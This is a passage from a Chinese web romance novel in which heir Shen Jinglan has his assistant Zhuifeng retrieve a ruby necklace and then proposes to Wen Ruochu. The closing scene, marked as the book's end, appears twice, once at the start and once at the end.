追风出了一堆馊主意,最后沈惊澜还是自己把温若初约了出来。沈惊澜看出了温若初眼底疑惑,没急着解释,犹豫半晌,抿了一口咖啡。 “我家世代经商,母亲在部队任职,家中独子,毕业于宾夕法尼亚大学,无不良嗜好……” 瞅了一眼体检报告,“……身体健康,没有寒毒,也不会早死,你愿意嫁……” 沈惊澜说了一堆自己情况,话到嘴边突然意识到好像有点唐突,很快改了口。 “我能追你吗?” 距离那个梦结束已经有一段时间了,那个令她恐惧胆寒的病又出现在她耳朵里,排山倒海一般掀起恍如上辈子的记忆。 心底涌起一股酸涩,握着咖啡杯的手不受控制地颤抖着。 她怔楞地看着沈惊澜,眼底好像有什么温热液体流出。 沈惊澜也在看着她,眼尾微微泛红,两人视线相撞,宛如来自异时空两条线,不知穿越多少时空,终于在这一刻交汇在一起,他们从对方眼底读懂了独属于两个人的那段记忆。 温若初眼底含泪,忍不住笑了笑。 “能结婚吗?” 沈惊澜点头,“好。” (全书完) 荷枪实弹的武装押运车停在沈氏集团总部大楼前,追风拎着一只手提包大小的金属银色箱子,从押送车上下来,在安保人员的护送下阔步走进大楼,乘直达顶楼总裁办公室电梯。 十几分钟后,沈惊澜办公室门板被推开。 金属银色箱子放在办公桌上,密码锁弹开的瞬间,沈惊澜身后的落地窗突然折射进一道刺目光芒。 一串鸽血红宝石项链赫然展露,每颗宝石都足有鹌鹑蛋大小,在日光灯下流转着熔岩般的艳光,金丝缠绕的项链上还镶嵌着碎钻,像给火焰镶了层流动的银河。 追风吊儿郎当倚在办公桌前,“这串天使之吻目前估值八位数,阿姨说留给她未来儿媳妇的,在银行保险柜蒙尘五六年,突然让我取出来……” 追风嘴角噙着笑意,看着沈惊澜调侃道:“……铁树开花想娶媳妇了?” “不行?” 沈惊澜坐在椅子里,撩起眼皮淡淡扫了一眼追风。 追风姓叶,叶家和沈家是世交,追风和沈惊澜两人一起长大,追风性格跳脱,在沈惊澜各种奖学奖杯奖状奖学金拿到手软的时候,追风还在和精神小伙精神小妹混夜场。 追风的父亲嫌弃追风整天吊儿郎当没正事,容易带坏家里弟弟妹妹,沈惊澜回国后,架着追风的胳膊送到沈惊澜身边,让追风跟着沈惊澜学习做生意,还断了他所有银行卡。 追风娇生惯养,谁都不服,就服沈惊澜,这两个月也确实收心了,在沈惊澜办公室做特助。 追风睁大眼睛一脸不可置信地围着沈惊澜打量两圈,他一大早听公司的人八卦,沈惊澜捡到一个女生发夹,还还给了人家。 沈惊澜不是一个没事给自己找事的人,捡发夹这种行为,实在太不沈惊澜了。 “就你捡发夹的那个?” “是她。” 沈惊澜瞅了一眼箱子里的红宝石项链,语气认真,不像是开玩笑,甚至语气中隐隐带着几分不容置喙的意味。 追风:“不是,又不是古代,你捡了人家发夹,人家就得对你以身相许?人家能同意?” 沈惊澜不置可否,拇指无意识地摩挲着食指指腹,墨黑的眸子盯着那串名为天使之吻的红宝石项链出神,不知道在琢磨什么。 追风大嘴巴,和沈惊澜说话的功夫,把沈惊澜想要娶媳妇的消息发给了沈惊澜的妈。 沈惊澜是独生子,快三十的人连女朋友都没谈过,沈伯母还曾怀疑沈惊澜有某些心理或身体方面的问题,沈伯母不知道多希望沈惊澜早日成家。 没一会儿,追风微信里多了两万转账。 追风查了一下余额,.1,他嘿嘿一笑收起手机,嬉皮笑脸讨好地看向沈惊澜。 “试试呗,万一人家想不开就同意了呢?” 沈惊澜抬眼看向追风,追风后知后觉说错话,拍了一下嘴巴,改口道。 “小沈总有颜有钱,智商一百三十五,这条件去哪找,那姑娘肯定能相中你,作为特助,操心老板的终身大事,是我分内的事,包我身上,奖金准备好就行。” 沈惊澜:“少不了你奖金。” 四个小时之后,那串价值连城的红宝石项链出现在温若初面前。 西餐厅灯光暧昧昏暗,小提琴声宛转悠扬。 温若初身穿湖蓝色紧身连衣裙,坐在靠窗位置,这里可以俯瞰整个城市夜景,穿梭的车帘和行人如蝼蚁般在脚下穿行。 下午手机收到一条微信,只一张图片,图片里一打现金放在枕头上,配文,不打算给我一个解释? 号码陌生,没头没尾的一句话,温若初一下子看出来发信息的人是沈惊澜。 温若初明天就打算走了,虽说那天闹了一个乌龙睡了沈惊澜,起初温若初还胆战心惊的,毕竟沈惊澜可是太子爷,这年头工作不好找,得罪了太子爷以后日子没发过。 可沈惊澜表现平平淡淡,似乎压根没把这事当回事,温若初也就放松了警惕。 算起来都过去一周了,沈惊澜却发来这样的图片质问,显然是想秋后算账,道歉的话准备了一肚子,甚至想到患夜游症解释那晚的无状。 客套几句,道歉的话还没说出口,沈惊澜就拿出一条红宝石项链,问她好看吗? 她对珠宝没什么研究,分不清好坏,就是觉得挺好看。 温若初点点头,夸了两句。 “很好看,一看就是好东西。” 装着红宝石项链的黑色丝绒盒子边上还放着一份沈惊澜的体检报告。 沈惊澜不会是得了什么脏病,赖上她了吧? 追风出了一堆馊主意,最后沈惊澜还是自己把温若初约了出来。沈惊澜看出了温若初眼底疑惑,没急着解释,犹豫半晌,抿了一口咖啡。 “我家世代经商,母亲在部队任职,家中独子,毕业于宾夕法尼亚大学,无不良嗜好……” 瞅了一眼体检报告,“……身体健康,没有寒毒,也不会早死,你愿意嫁……” 沈惊澜说了一堆自己情况,话到嘴边突然意识到好像有点唐突,很快改了口。 “我能追你吗?” 距离那个梦结束已经有一段时间了,那个令她恐惧胆寒的病又出现在她耳朵里,排山倒海一般掀起恍如上辈子的记忆。 心底涌起一股酸涩,握着咖啡杯的手不受控制地颤抖着。 她怔楞地看着沈惊澜,眼底好像有什么温热液体流出。 沈惊澜也在看着她,眼尾微微泛红,两人视线相撞,宛如来自异时空两条线,不知穿越多少时空,终于在这一刻交汇在一起,他们从对方眼底读懂了独属于两个人的那段记忆。 温若初眼底含泪,忍不住笑了笑。 “能结婚吗?” 沈惊澜点头,“好。” (全书完)